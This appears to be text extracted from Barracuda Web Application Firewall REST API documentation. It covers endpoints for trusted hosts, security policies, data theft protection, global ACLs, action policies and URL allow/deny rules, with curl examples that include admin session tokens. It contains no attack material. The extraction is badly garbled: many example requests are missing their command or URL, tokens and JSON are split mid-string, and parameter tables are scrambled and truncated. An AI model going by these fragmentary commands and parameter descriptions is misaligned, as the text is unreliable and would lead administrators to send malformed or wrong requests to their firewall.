{"id":"Host1","token":"eyJldCI6IjE0NDc5MjkyNjEiLCJwYXNzd29yZCI6ImMzMjQ1Yzk4NGFhOGI2NWVhODI3MmI3MGNj\nOTE4N
Tc3IiwidXNlciI6ImFkbWluIn0=\n"}
To Delete a Trusted Host
URL: /v1/ trusted_host_groups/{trusted_host_group_name}/trusted_hosts/(trusted_host_name)
Method: DELETE
Description: Deletes the given trusted host.

Input Parameters:
ip_address Alphanumeric Optional IP address of the trusted host.
mask Alphanumeric Optional Associated subnet mask.

host.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/trusted_host_groups/group1/trusted_hosts/Host1 -u
Response:
deleted","token":"eyJldCI6IjE0NDc5MjYxNDkiLCJwYXNzd29yZCI6IjZlMTJlMDYxYTI0MjFhYzBiYTA0YmUxMzY5\nMDNjYzEyIiwid

Security Policy
A Security Policy determines what action to take when one or more of the rules match the request. All security policies are global and can be
shared among multiple Services configured on the Barracuda Web Application Firewall.
To Create a Security Policy

To Retrieve Security Policies
To Update a Security Policy
To Delete a Security Policy
To Create a Security Policy
URL: /v1/security_policies
Method: POST
Description: Creates a security policy with the default values.
Input Parameters:
name Alphanumeric Yes The name of the security policy

that needs to be created.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/security_policies -u
'eyJldCI6IjEzODAxNDg0NjgiLCJwYXNzd29yZCI6ImFjNGEzNDJmNjAzNTBhNWE3MTgxNjQ4Nzll\nOGJhMGY3IiwidXNlciI6ImFkb
WluIn0=\n:admin' -X POST -H Content-Type:application/json -d '{"name":"new_policy"}'
Response:
{"id":"new_policy","token":"eyJldCI6IjEzODAxNDg5OTgiLCJwYXNzd29yZCI6IjJjMGRhZTk4ZGQ1ZWJjMzQ0ZTA4ZWY3NGNk\nN
DczNmZkIiwidXNlciI6ImFkbWluIn0=\n"}
To Retrieve Security Policies
URL: /v1/security_policies
/v1/security_policies/{policy_id}
Method: GET
Description: Lists all security policies if “policy_id” is not specified.
Input Parameters:

xample 2.

Example 1:
Request:
Response:
{"default_character_set":"UTF-8","cloaking":{"suppress_return_code":"1","headers_to_filter":["Server","X-Powered-By","X-AspNet-
Version"],"return_codes_to_exempt":[],"filter_response_header":"1"},"apply_double_decoding":"No","data_theft_protection":["credit
-cards","ssn","directory-indexing"],"url_protection_status":"1","allowed_acls":2,"request_limits":{"max_number_of_headers":"20","e
nable":"1","max_header_name_length":"32","max_cookie_name_length":"64","max_query_length":"4096","max_cookie_value_leng
th":"4096","max_request_length":"32768","max_header_value_length":"512","max_url_length":"4096","max_request_line_length":"
4096","max_number_of_cookies":"40"},"parameter_protection":{"enable":"1","denied_metacharacters":"%00%04%1b%08%7f","file
_upload_extensions":["JPG","GIF","PDF"],"maximum_upload_file_size":"1024","blocked_attack_types":null,"ignore_parameters":["
__VIEWSTATE"],"custom_blocked_attack_types":[],"allowed_file_upload_type":"extensions","maximum_parameter_value_length":
"1000","maximum_instances":null,"file_upload_mime_types":["image/jpeg","image/gif","application/pdf"],"exception_patterns":[]},"id
":"new_policy","token":"eyJldCI6IjEzODAxNDkxNzMiLCJwYXNzd29yZCI6IjgxMTg5ZGYzODU3YjcwOTA0ODEwYTJkODZl\nZTU3
MzRjIiwidXNlciI6ImFkbWluIn0=\n","url_protection":{"enable":"1","maximum_parameter_name_length":"64","max_content_length":"
32768","max_parameters":"40","allowed_content_types":["application/x-www-form-urlencoded","multipart/form-data","text/xml"],"m
aximum_upload_files":"5","blocked_attack_types":null,"custom_blocked_attack_types":[],"csrf_prevention":"none","allowed_metho
ds":["GET","POST","HEAD"],"exception_patterns":[]},"cookie_security":{"secure_cookie":"0","cookies_exempted":["__utma","__utm
c","__utmz","__utmb","AuthSuccessURL","CTSESSION","SMSESSION","SMCHALLENGE"],"cookie_max_age":"1440","cookie_re
play_protection_type":"IP","http_only":"0","days_allowed":"7","tamper_proof_mode":"signed","custom_headers":[],"allow_unrecogni
zed_cookies":"custom"},"url_normalization":{"parameter_separators":"ampersand","default_charset":"UTF-8","double_decoding":"N
o","detect_response_charset":"0"},"cookie_protection":"signed","limit_checks":"1","name":"new_policy","parameter_protection_stat
us":"1","disallowed_acls":7}
Example 2:
Request:
'eyJldCI6IjE1MDE5MDUxMzkiLCJwYXNzd29yZCI6IjUwN2I1ZDRhMTc3Mzc4Zjc5NGY2ZmM3NTNh\nYTczM2IxIiwidXNlciI6ImFkb
WluIn0=\n:admin' -X GET -G -d parameters=cookie_security,cloaking
Response:
{"cookie_security":{"secure_cookie":"yes","cookies_exempted":["__utma","__utmc","__utmz","__utmb","AuthSuccessURL","CTSES
SION","SMSESSION","SMCHALLENGlE"],"cookie_max_age":"50000","cookie_replay_protection_type":"none","http_only":"yes","d
ays_allowed":"Never","tamper_proof_mode":"encrypted","custom_headers":["host","Cookie","User-Agent"],"allow_unrecognized_c
ookies":"never"},"cloaking":{"suppress_return_code":"yes","headers_to_filter":["Server","date"],"return_codes_to_exempt":["403"],"fi
lter_response_header":"yes"},"id":"new_policy","token":"eyJldCI6IjE1MDQzMTY0MzciLCJwYXNzd29yZCI6IjMwZDhlZTU1MjRmMz
Y4MDEyMDlmODI2Yzc1\nZmU3Y2ZlIiwidXNlciI6ImFkbWluIn0=\n"}
To Update a Security Policy
URL: /v1/security_policies/{policy_id}
Method: PUT
Description: Updates a security policy with the given values.
Input Parameters:

request_limits. enable String Optional Enforce size limit checks on

request headers or not. The
values include:
yes
no
request_limits. Numeric Optional The maximum allowable request

max_request_length length. This includes the
Request Line and all HTTP
request headers (for example,
User Agent, Cookies, Referer
etc.).
request_limits.max_request_line Numeric Optional The maximum allowable length

_length for the request line. The request
line consists of the method, the
URL (including any query
strings) and the HTTP version.
request_limits.max_url_length Numeric Optional The maximum allowable URL

length including the query string
portion of the URL.
request_limits.max_query_length Numeric Optional The maximum allowable length

for the query string portion of the
URL.
request_limits.max_number_of_ Numeric Optional The maximum number of

cookies cookies to be allowed.
request_limits.max_cookie_nam Numeric Optional The maximum allowable length

e_length for a cookie name.
request_limits.max_cookie_valu Numeric Optional The maximum allowable length

e_length for a cookie value.
request_limits.max_number_of_ Numeric Optional The maximum number of

headers headers to be allowed in a
request.
request_limits.max_header_nam Numeric Optional The maximum allowable length

e_length for a header name.
request_limits.max_header_valu Numeric Optional The maximum allowable length

e_length for header value in a request.
cookie_security.tamper_proof_m Enumeration Optional The tamper proof mode for

ode cookies. The enumerated values
include:
signed
encrypted
none
cookie_security.cookie_max_ag Numeric Optional The maximum age for session

e cookies.
cookie_security.cookie_replay_p Enumeration Optional The type of protection to be used

rotection_type to prevent the cookie replay
attacks. The enumerated values
include:
none
IP
IP_and_custom_headers
custom_headers

cookie_security.custom_headers Alphanumeric Optional The custom headers to be used

in the cookie if the parameter
"Cookie Replay Protection Type"
is set to "Custom Headers" or "IP
and Custom Headers".
cookie_security.secure_cookie String Optional Determines whether to allow or

not the cookies if the client
makes secure HTTPS
connection. The values include:
yes
no
cookie_security.http_only String Optional Determines whether or not the

cookie security feature will be
enabled for HTTP cookies. The
values include;
yes
no
cookie_security.allow_unrecogni Enumeration Optional Determines whether

zed_cookies unrecognized cookies should be
allowed. The enumerated values
include:
custom
always
never
cookie_security.days_allowed Numeric Optional The number of days the

Firewall to not reject
unrecognized cookies.
cookie_security.cookies_exempt Alphanumeric Optional The names of the cookies that

ed needs to be exempted from the
cookie security policy.
url_protection.enable String Optional Determines whether to enforce

URL protection or not. The
values include:
yes
no
url_protection.allowed_methods Alphanumeric Optional The list of allowable methods in

a request.
url_protection.allowed_content_t String Optional The list of content types to be

ypes allowed in the POST body of a
request.
url_protection.max_content_leng Numeric Optional The maximum content length to

th be allowed for POST request
body.
url_protection.max_parameters Numeric Optional The maximum number of

parameters to be allowed in a
request.
url_protection.maximum_upload Numeric Optional The maximum number of files

_files that can be of file-upload type in
a request.

url_protection.csrf_prevention Enumeration Optional The Cross-Site Request Forgery

(CSRF) prevention for the forms
and URLs. The enumerated
values include:
forms_and_urls
none
forms
url_protection.maximum_parame Numeric Optional The maximum length of a

ter_name_length parameter name in a request.
url_protection.blocked_attack_ty Enumeration Optional The Attack Types to be matched

pes in a request. The enumerated
values include:
cross_site_scripting
remote_file_inclusion
sql_injection_strict
sql_injection
os_command_injection
remote_file_inclusion_strict
os_command_injection_stri
ct
cross_site_scripting_strict
url_protection.custom_blocked_ Enumeration Optional The custom attack types defined

attack_types on the ADVANCED > Libraries
page (if any).
url_protection.exception_pattern String Optional The patterns to be allowed

s despite matching a malicious
pattern group.
Note: Configure the exact
"Pattern Name" displayed on the
ADVANCED > View Internal
Patterns page, or as defined
when creating a "New Group" on
the ADVANCED > Libraries pag
e.
parameter_protection.enable String Optional Determines whether to enforce

parameter protection or not. The
values include:
yes
no
parameter_protection.denied_m String Optional The meta-characters to be

etacharacters denied in the parameter value.
Meta-characters must be URL
encoded. Non-printable
characters such as "backspace"
and web interface reserved
characters like "?" should be
URL encoded.
parameter_protection.maximum Numeric Optional The maximum allowed length of

_parameter_value_length any parameter value, including
no-name parameters.
parameter_protection.maximum Numeric Optional The maximum number of times a

_instances parameter needs to be allowed
in a request.

parameter_protection.base64_d String Optional Determines whether to apply

ecode_parameter_value base64 decoding to the
parameter values or not. The
values include:
yes
no
Note: If the parameter value

adheres to the Data URI
Scheme, the base64 decoding is
applied on the parameter value
irrespective of base64_decode_
parameter_value is set to yes or
no. If not, the base64 decoding
is applied to the parameter value
only when base64_decode_par
ameter_value is set to yes.
parameter_protection.allowed_fil Enumeration Optional The allowed file upload types.

e_upload_type The enumerated values include:
extensions
mime_types
parameter_protection.file_uploa Alphanumeric Optional The extensions to be allowed as

d_extensions uploaded files.
parameter_protection.file_uploa Alphanumeric Optional The Mime types to be allowed as

d_mime_types uploaded files.
parameter_protection.maximum Numeric Optional The maximum size (in KB) for an

_upload_file_size individual file that can be
uploaded in a request.
parameter_protection.blocked_a Enumeration Optional The Attack Types to be matched

ttack_types in a request. The enumerated
values include:
directory_traversal
directory_traversal_strict
sql_injection
ct
parameter_protection.custom_bl Enumeration Optional The custom attack types defined

ocked_attack_types on the ADVANCED > Libraries
page (if any).
parameter_protection.exception String Optional The patterns to be allowed

_patterns despite matching a malicious
pattern group.
Note: Configure the exact
"Pattern Name" displayed on the
ADVANCED > View Internal
Patterns page, or as defined
when creating a "New Group" on
the ADVANCED > Libraries pag
e.
parameter_protection.ignore_par Alphanumeric Optional The parameters to be exempted

ameters from all validations.

cloaking.suppress_return_code String Optional Suppress an HTTP Status code

in the response header and
insert a default or custom
response page in case of any
error responses from the server.
The value includes:
yes
no
cloaking.return_codes_to_exem String Optional The HTTP response codes that

pt needs to be exempted from
cloaking.
cloaking.filter_response_header String Optional Remove the HTTP headers in

responses. The values include:
yes
no
cloaking.headers_to_filter String Optional The list of headers that are to be

removed from a response before
serving it to a client.
url_normalization.default_charse Enumeration Optional The character set decoding type

t to be used for incoming
requests. The enumerated
values include:
GBK
ASCII
Shift-JIS
ISO-8859-1
JOHAB
EUC-KR
EUC-JP
ISO-2022-KR
ISO-2022-CN
UTF-8
HZ
BIG5
GB2312
EUC-TW
ISO-2022-JP
url_normalization.detect_respon String Optional Determines whether or not the

se_charset Barracuda Web Application
Firewall will detect the character
set decoding from the response.
The values include:
yes
no
url_normalization.parameter_sep Enumeration Optional The url-decoded parameter

arators separator to be used.
ampersand
ampersand_and_semicolon
semicolon
url_normalization.apply_double_ String Optional Determines whether or not to

decoding apply double-decoding of the
character set. The values
include:
yes
no

Example 1:
Request:
WluIn0=\n:admin' -X PUT -H Content-Type:application/json -d
ed"}}'
Response:
Updated","token":"eyJldCI6IjEzODAxNDkzMjAiLCJwYXNzd29yZCI6ImMwNTEyNzA3ZTM1NmI3ZmMyNTBkYjFhOGI4\nM2ZhOTg
Example 2:
Request:
ed"},"url_protection":{"enable":"no","max_content_length":"0","max_parameters":"0","maximum_upload_files":"100","maximum_par
ameter_name_length":"100","allowed_methods":["GET","POST"]},"parameter_protection":{"enable":"yes","denied_metacharacters"
:"%00%04%1b%08%7f%23%50","exception_patterns":["sql-quote","unsafe-tag"],"file_upload_mime_types":["text/html","image/jpeg
","image/gif"]},"cloaking":{"return_codes_to_exempt":["403"],"filter_response_header":"yes","headers_to_filter":["Server","date"]}}'
Response:
Updated","token":"eyJldCI6IjE1MDQyNDc2OTciLCJwYXNzd29yZCI6IjA2MjVhMDViMzJjNTg1NDRlMDBlZDUxNTFh\nZGI1MGQ0I
iwidXNlciI6ImFkbWluIn0=\n"}
To Delete a Security Policy
URL: /v1/security_policies/{policy_id}
Method: DELETE
Description: Deletes the given security policy.
Example:
Request:
Response:
deleted","token":"eyJldCI6IjEzODAxNDk0MTAiLCJwYXNzd29yZCI6Ijg0MDQ5MTkyYzhhZjMwY2YxMzM5M2M5NTdi\nMGVmNDJ
mIiwidXNlciI6ImFkbWluIn0=\n"}


Data theft protection prevents unauthorized disclosure of confidential information such as social security number, passwords, credit card
information, etc.
In this Section:
To Create a Data Theft Element

To Retrieve Data Theft Elements
To Update a Data Theft Element
To Delete a Data Theft Element
To Create a Data Theft Element
URL: /v1/security_policies/{policy_id}/data_theft_protection
Method: POST
Description: Adds a data theft element with the given values.
Input Parameters:
name Alphanumeric Yes A name for this data theft

element.
enabled String Optional Use this data theft element to be

matched in the server response
pages. The values include:
yes
no
identity_theft_type Enumeration Yes The identity theft pattern to

which the element mentioned in
“name” belongs to. The
directory_indexing
credit_cards
social_security_numbers
custom
custom_identity_theft_type Enumeration Conditional The identity theft pattern defined

on the ADVANCED > Libraries
page (if any).
Note: Required ONLY when ide

ntity_theft_type is custom.
action Enumeration The action to be enforced on any

page sent by the server
containing this data type. The
cloak
block
initial_characters_to_keep Numeric Optional The number of initial characters

to be displayed to the user.
Note: Required ONLY when acti

on is cloak.

trailing_characters_to_keep Numeric Optional The number of trailing characters


on is cloak.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/security_policies/new_policy/data_theft_protection -u
'eyJldCI6IjEzODAxNDk3ODMiLCJwYXNzd29yZCI6ImVhZWYxNzBhNThhN2Y0MjBjM2IwYjYxYmMy\nMTJkZTJkIiwidXNlciI6ImFk
bWluIn0=\n:admin' -X POST -H Content-Type:application/json -d
'{"name":"element_1","identity_theft_type":"social_security_numbers"}'
Response:
{"id":"element_1","token":"eyJldCI6IjEzODAxNTAxNDkiLCJwYXNzd29yZCI6IjRmMGNhYTFlYWQzZTFiNDRkNDYyNWVjMDUx\nZ
TMxZGZjIiwidXNlciI6ImFkbWluIn0=\n"}
To Retrieve Data Theft Elements
URL: /v1/security_policies/{policy_id}/data_theft_protection
/v1/security_policies/{policy_id}/data_theft_protection/{data_theft_protection_id}
Method: GET
Description: Lists all data theft elements if “data_theft_protection_id” is not specified.
Input Parameters:

xample 2.
Example 1:
Request:
curl http://10.11.19.104:8000/restapi/v1/security_policies/new_policy/data_theft_protection/element_1 -u
Response:
{"initial_characters_to_keep":"0","name":"element_1","custom_identity_theft_type":"","identity_theft_type":"social_security_number
s","trailing_characters_to_keep":"4","action":"block","id":"element_1","token":"eyJldCI6IjEzODAxNTAzODUiLCJwYXNzd29yZCI6IjV
kZGI4YTJiMTdkNzkwZDg5NjIyM2Y0MTM1\nZjM2YzlmIiwidXNlciI6ImFkbWluIn0=\n","enabled":"1"}
Example 2:
Request:
WluIn0=\n:admin' -X GET -G -d parameters=action,identity_theft_type
Response:
{"action":"block","id":"element_1","token":"eyJldCI6IjE1MDQzMTYyMTAiLCJwYXNzd29yZCI6ImVhZWRmMTQ2YTkwNmZiOWFiZ
DhiNDNkMGZl\nNzFlMmE0IiwidXNlciI6ImFkbWluIn0=\n","identity_theft_type":"social_security_numbers"}

To Update a Data Theft Element
URL: /v1/security_policies/{policy_id}/data_theft_protection/{data_theft_protection_id}
Method: PUT
Description: Updates the values of given parameters in the given data theft element.
Input Parameters:
enabled String Optional Use this data theft element to be

matched in the server response
pages. The values include:
yes
no
identity_theft_type Enumeration Optional The identity theft pattern to

which the element mentioned in
“name” belongs to. The
directory_indexing
credit_cards
social_security_numbers
custom
custom_identity_theft_type Enumeration Optional The identity theft pattern defined

on the ADVANCED > Libraries
page (if any).
Note: Required ONLY when ide

ntity_theft_type is custom.
action Enumeration Optional The action to be enforced on any

page sent by the server
containing this data type. The
cloak
block
initial_characters_to_keep Numeric Optional The number of initial characters


on is cloak.
trailing_characters_to_keep Numeric Optional The number of trailing characters


on is cloak.

Example:
Request:
bWluIn0=\n:admin' -X PUT -H Content-Type:application/json -d '{"trailing_characters_to_keep":"2","action":"cloak"}'
Response:
{"id":"element_1","token":"eyJldCI6IjEzODAxNTA3NjgiLCJwYXNzd29yZCI6IjdjZDZiMmUzMzMxN2E1ZGY2ZDEyMWRjYmY3\nMz
JjNmU0IiwidXNlciI6ImFkbWluIn0=\n"}
To Delete a Data Theft Element
URL: /v1/security_policies/{policy_id}/data_theft_protection/{data_theft_protection_id}
Method: DELETE
Description: Deletes the given data theft element.
Example:
Request:
bWluIn0=\n:admin' -X DELETE
Response:
deleted","token":"eyJldCI6IjEzODAxNTA4MzgiLCJwYXNzd29yZCI6IjgwM2IxOTVmYzVlYzc0YjZkYzA1MjEzM2Nl\nZjBkYjI3IiwidX
NlciI6ImFkbWluIn0=\n"}

Global ACLs
Global ACLs define strict access control (allow/deny) rules for all the services configured on the Barracuda Web Application Firewall.
In this Section:
To Create a Global ACL Rule

To Retrieve Global ACL Rules
To Update a Global ACL Rule
To Delete a Global ACL Rule
To Create a Global ACL Rule
URL: /v1/security_policies/{policy_id}/global_acls
Method: POST
Description: Adds a global ACL rule with the given values.
Input Parameters:
name Alphanumeric Yes A name for the URL ACL rule.
url_match Alphanumeric The URL to be matched to the

URL in the request. The URL
should start with a "/" and can
have at most one " * " anywhere
in the URL. A value of “/*” means
that the access control rule
(ACL) applies for all URLs in that
domain.


extended_match_sequence Numeric Yes A number to indicate the order in

requests.
action Enumeration Optional The action to be taken on the

request matching this URL. The
process
allow
deny_and_log
deny_with_no_log
temporary_redirect
permanent_redirect

deny_response Enumeration Conditional The response to be sent to the

client if the request is denied.
reset
response_page
temporary_redirect
permanent_redirect

on is set to deny_and_log or den
y_with_no_log.
response_page Enumeration Conditional The response page to be sent to

the client. The enumerated
values include:
default
default-virus
default-error-resp
default-captcha-tries-error-p
age
default-captcha-sessions-er
ror-page
default-suspected-activity-er
ror-page
default-captcha-response-p
age

y_with_no_log.
redirect_url Alphanumeric Conditional A URL to which a user should be

redirected.

on is temporary_redirect or perm
anent_redirect.
comments Alphanumeric Optional Description about the global ACL

rule.
Example 1:
Request:
curl http://10.11.19.104:8000/restapi/v1/security_policies/new_policy/global_acls -u
'eyJldCI6IjEzODAxNTEyOTIiLCJwYXNzd29yZCI6IjY4YzM1YzVhYzIwYTEzMjgxOWNlYTRhMGUz\nZTQ2NjZkIiwidXNlciI6ImFkb
WluIn0=\n:admin' -X POST -H Content-Type:application/json -d
'{"name":"acl_1","redirect_url":"/index.html","extended_match_sequence":"3"}'
Response:
{"id":"acl_1","token":"eyJldCI6IjEzODAxNTE3MTUiLCJwYXNzd29yZCI6IjhkNjk5MjY3YzY4MGUyNzQxNGEzOGZlZjU0\nN2RjYTIw

Example 2:
Request:
curl http://10.11.19.104:8000/restapi/v1/security_policies/new_policy/global_acls -u
WluIn0=\n:admin' -X POST -H Content-Type:application/json -d
'{"name":"acl_1","url_match":"/test.html","extended_match":"(Method eq GET)&&(HTTP-Version eq HTTP/1.1)||(Header User-Agent
eq
mozilla)","extended_match_sequence":"1","action":"deny_and_log","deny_response":"response_page","response_page":"default","
comments":"This is acl_1 url acl"}'
Response:
{"id":"acl_1","token":"eyJldCI6IjEzODAxNTEyOTIiLCJwYXNzd29yZCI6IjY4YzM1YzVhYzIwYTEzMjgxOWNlYTRhMGUz\nZTQ2NjZ
kIiwidXNlciI6ImFkbWluIn0=\n"}
To Retrieve Global ACL Rules
URL: /v1/security_policies/{policy_id}/global_acls
/v1/security_policies/{policy_id}/global_acls/{global_acl_id}
Method: GET
Description: Lists all global ACL rules if “global_acl_id” is not specified.
Input Parameters:

xample 2.
Example 1:
Request:
curl http://10.11.19.104:8000/restapi/v1/security_policies/new_policy/global_acls/acl_1 -u
Response:
{"extended_match_sequence":"3","name":"acl_1","comments":"","extended_match":"*","url_match":"/*","action":"process","redirect_
url":"/index.html","id":"acl_1","token":"eyJldCI6IjEzODAxNTE3ODgiLCJwYXNzd29yZCI6IjYyMjJlMDk0ZTA1Yzg0M2I0ZDczOTE0N
Dhh\nOTU3N2EyIiwidXNlciI6ImFkbWluIn0=\n"}
Example 2:
Request:
WluIn0=\n:admin' -X GET -G -d parameters=action,deny_response,enable_url_acl,name
Response:
{"name":"acl_1","enable_url_acl":"yes","action":"process","deny_response":"response_page","id":"acl_1","token":"eyJldCI6IjE1MD
QzMTcwMTgiLCJwYXNzd29yZCI6IjMwZGMzYmM2ZGQ3NmU0MmU2MjkwYTNiMTM5\nYmMzYjNjIiwidXNlciI6ImFkbWluIn0=\n"}
To Update a Global ACL Rule
URL: /v1/security_policies/{policy_id}/global_acls/{global_acl_id}

Method: PUT
Description: Updates the values of given parameters in the given global ACL rule.
Input Parameters:
enable_url_acl String Optional Enforce this URL ACL rule for all
the Services configured on the
Firewall or not. The values
include:
yes
no
url_match Alphanumeric Optional The URL to be matched to the

URL in the request. The URL
should start with a "/" and can
have at most one " * " anywhere
in the URL. A value of “/*” means
that the access control rule
(ACL) applies for all URLs in that
domain.
extended_match String Optional An expression that consists of a


extended_match_sequence Numeric Optional A number to indicate the order in

requests.

request matching this URL. The
process
allow
deny_and_log
deny_with_no_log
temporary_redirect
permanent_redirect

reset
response_page
temporary_redirect
permanent_redirect

y_with_no_log.


values include predefined
response pages and custom
response pages (if any):
default
default-virus
default-error-resp
age
ror-page
ror-page
age
Note: Required ONLY when den

y_response is set to response_
page.
redirect_url Alphanumeric Optional A URL to which a user should be

redirected if action is temporary
_redirect or permanent_redirect.
comments Alphanumeric Optional Description about the global ACL

rule.
Example 1:
Request:
WluIn0=\n:admin' -X PUT -H Content-Type:application/json -d '{"action":"deny_with_no_log"}'
Response:
{"id":"acl_1","token":"eyJldCI6IjEzODAxNTU5OTYiLCJwYXNzd29yZCI6IjhjNGYxNDFlYzgzNjIyMzcwMmMzNDc0ZDA3\nMjU3Nm
MxIiwidXNlciI6ImFkbWluIn0=\n"}
Example 2:
Request:
'eyJldCI6IjEzODAxNTU5OTYiLCJwYXNzd29yZCI6IjhjNGYxNDFlYzgzNjIyMzcwMmMzNDc0ZDA3\nMjU3NmMxIiwidXNlciI6ImFkb
WluIn0=\n:admin' -X PUT -H Content-Type:application/json -d '{"enable_url_acl":"yes","extended_match":"(Method eq
GET)&&(HTTP-Version eq HTTP/1.1)","extended_match_sequence":"5","action":"deny_with_no_log","deny_response":"reset"}'
Response:
{"id":"acl_1","token":"eyJldCI6IjEzODAxNTU5OTYiLCJwYXNzd29yZCI6IjhjNGYxNDFlYzgzNjIyMzcwMmMzNDc0ZDA3\nMjU3Nm
MxIiwidXNlciI6ImFkbWluIn0=\n"}
To Delete a Global ACL Rule
URL: /v1/security_policies/{policy_id}/global_acls/{global_acl_id}
Method: DELETE
Description: Deletes the given global ACL rule.

Example:
Request:
Response:
deleted","token":"eyJldCI6IjEzODAxNTYxNjAiLCJwYXNzd29yZCI6ImYzNmYwNGI2NDRhNjhmMWEwYjNjODQ3MzNk\nNWVmO
WE0IiwidXNlciI6ImFkbWluIn0=\n"}

Action Policy
Action policy is a collection of settings that decide what action to be taken when a violation occurs. It consists of a set of attack groups and
associated attack actions with it. The attack action specifies the action to be taken for a particular type of web attack.
In this Section:
To Retrieve Attack Groups

To Retrieve Attack Actions
To Update an Action Policy
To Retrieve Attack Groups
URL: /v1/security_policies/{policy_id}/attack_groups
/v1/security_policies/{policy_id}/attack_groups/{attack_group_id}
Method: GET
Description: Lists all attack groups if “Attack_Group_ID” is not specified.
Input Parameters:

xample 2.
Example 1:
Request:
curl http://10.11.19.104:8000/restapi/v1/security_policies/new_policy/attack_groups/application-profile-violations -u
'eyJldCI6IjEzODAxNTYzNzQiLCJwYXNzd29yZCI6IjU1ZTkxMDA5NDAzMGVlOTY1N2QzMTI4NDQw\nNWZmMDkyIiwidXNlciI6Im
FkbWluIn0=\n:admin' -X GET
Response:
{"object":"ActionPolicy","fields":null,"policy_id":"new_policy","data":[{"name":"domain-not-found-in-profile","response_page":"default
","numeric_id":"130","attack_action_deny_response":"send_response","follow_up_action_time":"60","attack_group":"application-pr
ofile-violations","follow_up_action":null,"redirect_url":"","action":"protect_and_log","id":"domain-not-found-in-profile"},{"name":"no-url
-profile-match","response_page":"default","numeric_id":"131","attack_action_deny_response":"send_response","follow_up_action_t
ime":"60","attack_group":"application-profile-violations","follow_up_action":null,"redirect_url":"","action":"protect_and_log","id":"no-u
rl-profile-match"}],"limit":null,"token":"eyJldCI6IjEzODAxNTczOTAiLCJwYXNzd29yZCI6Ijk5ZGNjMDRiZmQ5YTUwMTkxYTVlMTZk
MWFi\nMjI2MjZjIiwidXNlciI6ImFkbWluIn0=\n","offset":null}
Example 2:
Request:
curl http://10.11.19.104:8000/restapi/v1/security_policies/new_policy/attack_groups/application-profile-violations -u
WluIn0=\n:admin' -X GET -G -d parameters=follow_up_action,deny_response
Response:
{"object":"ActionPolicy","fields":["follow_up_action","deny_response"],"policy_id":"new_policy","data":[{"attack_group":"application-p
rofile-violations","follow_up_action":"none","deny_response":"send_response","id":"domain-not-found-in-profile"},{"attack_group":"a
pplication-profile-violations","follow_up_action":"block_client_ip","deny_response":"temporary_redirect","id":"no-url-profile-match"}],
"limit":null,"token":"eyJldCI6IjE1MDQ0MDk4NTUiLCJwYXNzd29yZCI6IjNkZjhkYzE5MDhlYWQxOGIxN2UzYWY2OWMx\nNGEwO
GIxIiwidXNlciI6ImFkbWluIn0=\n","offset":null}
To Retrieve Attack Actions
URL: /v1/security_policies/{policy_id}/attack_groups/{attack_group_id}/actions
/v1/security_policies/{policy_id}/attack_groups/{attack_group_id}/actions/{action_id}

Method: GET
Description: Lists all attack actions for the given attack group if “action_id” is not specified.
Input Parameters:

xample 2.
Example 1:
Request:
curl http://10.11.19.104:8000/restapi/v1/security_policies/new_policy/attack_groups/application-profile-violations/actions/no-url-prof
ile-match -u
FkbWluIn0=\n:admin' -X GET
Response:
{"name":"no-url-profile-match","response_page":"default","numeric_id":"131","attack_action_deny_response":"send_response","foll
ow_up_action_time":"60","attack_group":"application-profile-violations","follow_up_action":null,"redirect_url":"","action":"protect_an
d_log","id":"no-url-profile-match","token":"eyJldCI6IjEzODAxNTc0NjYiLCJwYXNzd29yZCI6Ijk5ODViNjk0ZjIxYjU4MGEyMmY2OW
RmMzUz\nNjA2MzA0IiwidXNlciI6ImFkbWluIn0=\n"}
Example 2:
Request:
ile-match -u
WluIn0=\n:admin' -X GET -G -d parameters=follow_up_action,redirect_url,deny_response,action
Response:
{"attack_group":"application-profile-violations","action":"protect_and_log","redirect_url":"/abc.html","follow_up_action":"block_client_
ip","deny_response":"temporary_redirect","id":"no-url-profile-match","token":"eyJldCI6IjE1MDQzMTYyOTQiLCJwYXNzd29yZCI6Ijk
wNDNjODQ1MjJjZDlhMzY0MDBhNjJhY2E0\nOWU2MDU2IiwidXNlciI6ImFkbWluIn0=\n"}
To Update an Action Policy
URL: /v1/security_policies/{policy_id}/attack_groups/{attack_group_id}/actions/{action_id}
Method: PUT
Description: Updates the values of given parameters in the given action policy.
Input Parameters:
action Enumeration Optional The action to be taken for an

invalid request. The enumerated
values include:
none
protect_and_log
allow_and_log
protect_with_no_log

deny_response Enumeration Optional The response to be sent to the

close_connection
send_response
temporary_redirect
permanent_redirect
redirect_url Alphanumeric Optional The URL to be used to redirect

the request.

y_response is set to temporary_
redirect or permanent_redirect.
response_page Enumeration Optional The response page to be sent to

values include predefined
response pages and custom
response pages (if any):
default
default-virus
default-error-resp
age
ror-page
ror-page
age

y_response is set to send_resp
onse.
follow_up_action Enumeration Optional The follow up action to be taken

if the request is denied. The
none
block_client_ip
challenge_with_captcha
follow_up_action_time Numeric Optional The time in seconds to block the

client IP.
Note: Required ONLY when foll

ow_up_action is set to block_cli
ent_ip.

Example:
Request:
ile-match -u
FkbWluIn0=\n:admin' -X PUT -H Content-Type:application/json -d '{"action":"allow_and_log"}'
Response:
Updated","id":"no-url-profile-match","token":"eyJldCI6IjEzODAxNTc1NTAiLCJwYXNzd29yZCI6IjZkM2IxNGU0ZjhhNGY2MWI1MG
NlYjBmNmYz\nM2Q5OWQ1IiwidXNlciI6ImFkbWluIn0=\n"}

Allow/Deny Rules
Allow/Deny rules are used to define strict access control rules for the services. Requests to the service are allowed or denied based on the URL
ACL and Header ACL configuration. For more information, refer to Allow/Deny Rules for Headers and URLs.
In this Section:

To Add a URL ACL Rule
To Retrieve URL ACL Rules
To Update a URL ACL Rule
To Delete a URL ACL Rule
To Add a Header ACL
To Retrieve Header ACL
To Update a Header ACL
To Delete a Header ACL
To Add a URL ACL Rule
URL: /v1/virtual_services/{virtual_service_id}/url_adrs
Method: POST
Description: Creates an access control (ACL) rule for the specified URL.
Input Parameters:
name Alphanumeric Yes A name for the URL ACL.
enable String Optional Apply the URL ACL rule to the

Service. The values include:
on
off
host_match Alphanumeric Yes A host name to be matched

against the host in the request.
url_match URL Yes A URL to be matched to the URL

in the request.



requests.

request matching the URL. The
redirect
deny_and_log
allow
deny_with_no_log
process


client if the request is denied. A
deny response is used when the
action is set to "deny_and_log”
or “deny_with_no_log”. The
response_page
reset
permanent_redirect
temporary_redirect

the client, if “deny_response” is
set to "response_page". The
default
default-virus
default-error-resp
age
ror-page
age
ror-page
redirect_url Alphanumeric Conditional The URL to redirect the request

